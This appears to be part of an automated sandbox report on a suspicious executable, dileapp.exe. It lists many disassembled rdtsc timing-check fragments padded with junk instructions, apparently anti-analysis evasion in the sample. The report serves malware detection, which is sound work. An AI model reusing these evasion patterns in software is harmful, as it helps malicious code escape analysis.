Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12002CE second address: 12002D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 120053C second address: 1200542 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1200542 second address: 1200546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 120A70F second address: 120A72E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FCCB0D02D16h 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 120A72E second address: 120A732 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 120A9F7 second address: 120AA03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FCCB0D02D0Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 120AB4F second address: 120AB53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 121091E second address: 1210925 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1210AEF second address: 1210B07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB120DFE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1210B07 second address: 1210B0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1216C3E second address: 1216C50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FCCB120DFD6h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1216C50 second address: 1216C83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB0D02D13h 0x00000009 popad 0x0000000a js 00007FCCB0D02D1Fh 0x00000010 jmp 00007FCCB0D02D13h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1216C83 second address: 1216C87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1216C87 second address: 1216CB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCCB0D02D16h 0x00000009 jmp 00007FCCB0D02D18h 0x0000000e rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12159C5 second address: 12159D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jp 00007FCCB120DFD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12159D1 second address: 1215A03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB0D02D16h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007FCCB0D02D22h 0x0000000f js 00007FCCB0D02D0Ah 0x00000015 push esi 0x00000016 pop esi 0x00000017 push esi 0x00000018 pop esi 0x00000019 push eax 0x0000001a push edx 0x0000001b jnp 00007FCCB0D02D06h 0x00000021 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 121651C second address: 1216520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12167B9 second address: 12167E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jnl 00007FCCB0D02D06h 0x0000000b jmp 00007FCCB0D02D14h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jnp 00007FCCB0D02D06h 0x00000019 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1216941 second address: 1216959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB120DFE4h 0x00000009 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1216959 second address: 1216965 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FCCB0D02D06h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1216965 second address: 1216984 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FCCB120DFE9h 0x0000000b rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1218338 second address: 121833C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 121833C second address: 1218357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FCCB120DFE9h 0x0000000c jmp 00007FCCB120DFDDh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 121DB39 second address: 121DB3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 121DB3D second address: 121DB5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB120DFE0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c je 00007FCCB120DFD6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 121C89E second address: 121C8A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 121C8A2 second address: 121C8B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FCCB120DFD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 121CB30 second address: 121CB35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 121CB35 second address: 121CB47 instructions: 0x00000000 rdtsc 0x00000002 je 00007FCCB120DFD8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 121CB47 second address: 121CB4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 121CB4B second address: 121CB54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 121CB54 second address: 121CB6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB0D02D0Fh 0x00000009 jg 00007FCCB0D02D06h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 121CFD8 second address: 121CFDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 121CFDC second address: 121CFE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 121D29E second address: 121D2C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB120DFE2h 0x00000007 jng 00007FCCB120DFD6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jnc 00007FCCB120DFD6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 121D2C4 second address: 121D2C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 121D43B second address: 121D44A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007FCCB120DFD6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 121D44A second address: 121D453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 121D453 second address: 121D45D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FCCB120DFD6h 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 121D586 second address: 121D592 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FCCB0D02D06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 121D592 second address: 121D5B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnc 00007FCCB120DFD6h 0x0000000c jmp 00007FCCB120DFE2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 121D868 second address: 121D87F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCCB0D02D0Eh 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 119AA42 second address: 119AA46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 119AA46 second address: 119AA52 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jp 00007FCCB0D02D06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 119AA52 second address: 119AA68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FCCB120DFDFh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1225846 second address: 122585B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB0D02D0Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 122585B second address: 1225871 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FCCB120DFDEh 0x0000000d rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1226FCC second address: 1226FF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FCCB0D02D06h 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jmp 00007FCCB0D02D13h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 122F6EB second address: 122F6F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 122E3F5 second address: 122E3FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 122E653 second address: 122E657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 122E94C second address: 122E950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 122EAAC second address: 122EAD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB120DFE6h 0x00000009 pushad 0x0000000a popad 0x0000000b jnc 00007FCCB120DFD6h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 jnc 00007FCCB120DFD6h 0x0000001c rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 122EAD9 second address: 122EAEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007FCCB0D02D16h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 122EAEC second address: 122EAF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 122EDAD second address: 122EDC4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB0D02D0Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007FCCB0D02D06h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 122EDC4 second address: 122EDC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11A1511 second address: 11A151B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FCCB0D02D06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11A151B second address: 11A1529 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jbe 00007FCCB120DFD6h 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E55F5 second address: 11E55FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E570F second address: 11E573D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB120DFE8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jc 00007FCCB120DFF3h 0x00000013 push eax 0x00000014 push edx 0x00000015 jg 00007FCCB120DFD6h 0x0000001b rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E58FA second address: 11E5953 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB0D02D0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push esi 0x0000000d add dword ptr [ebp+13762E04h], esi 0x00000013 pop edx 0x00000014 mov dx, ax 0x00000017 push 00000004h 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007FCCB0D02D08h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 00000019h 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 pushad 0x00000034 add dword ptr [ebp+137636D8h], ebx 0x0000003a mov dx, 2C04h 0x0000003e popad 0x0000003f mov dword ptr [ebp+138EFB4Bh], esi 0x00000045 nop 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E5953 second address: 11E5957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E5957 second address: 11E5974 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB0D02D19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E5974 second address: 11E5999 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FCCB120DFE2h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jo 00007FCCB120DFD8h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E6010 second address: 11E6016 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E6016 second address: 11E6026 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCCB120DFDBh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E6026 second address: 11E6073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 je 00007FCCB0D02D12h 0x0000000f jg 00007FCCB0D02D0Ch 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 pushad 0x0000001a push edx 0x0000001b jmp 00007FCCB0D02D10h 0x00000020 pop edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FCCB0D02D19h 0x00000028 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E6073 second address: 11E6077 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E616D second address: 11E6171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E6171 second address: 11E6183 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB120DFDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E6183 second address: 11E61D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCCB0D02D0Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a movsx ecx, dx 0x0000000d lea eax, dword ptr [ebp+1391FB0Dh] 0x00000013 sbb dx, 5D33h 0x00000018 mov di, si 0x0000001b nop 0x0000001c push ecx 0x0000001d jnp 00007FCCB0D02D0Ch 0x00000023 pop ecx 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 jmp 00007FCCB0D02D18h 0x0000002d push edx 0x0000002e pop edx 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 11E61D1 second address: 11E61D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1233527 second address: 1233552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FCCB0D02D0Dh 0x0000000b popad 0x0000000c jns 00007FCCB0D02D0Eh 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 pop edx 0x00000016 popad 0x00000017 pushad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1233552 second address: 1233558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1233558 second address: 123355E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 123355E second address: 123357E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007FCCB120DFD8h 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FCCB120DFE1h 0x00000014 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1233AD7 second address: 1233AEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB0D02D13h 0x00000009 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1233AEE second address: 1233AF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1233AF4 second address: 1233AFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1233AFD second address: 1233B04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1233C3E second address: 1233C42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1233C42 second address: 1233C46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1233C46 second address: 1233C5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FCCB0D02D0Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1233C5B second address: 1233C7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCCB120DFE1h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007FCCB120DFD6h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1233C7B second address: 1233C90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FCCB0D02D0Ah 0x00000010 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1236D92 second address: 1236DA9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FCCB120DFDCh 0x00000008 je 00007FCCB120DFD6h 0x0000000e push ebx 0x0000000f jnl 00007FCCB120DFD6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 12371FB second address: 12371FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1239515 second address: 1239536 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FCCB120DFD6h 0x00000008 jmp 00007FCCB120DFDFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f js 00007FCCB120DFDCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 1239536 second address: 123953A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 123FC4B second address: 123FC4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 123FC4F second address: 123FC71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FCCB0D02D17h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\Public\Netstat\dileapp.exe	RDTSC instruction interceptor: First address: 123FC71 second address: 123FC7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pop edx 0x00000009 rdtsc
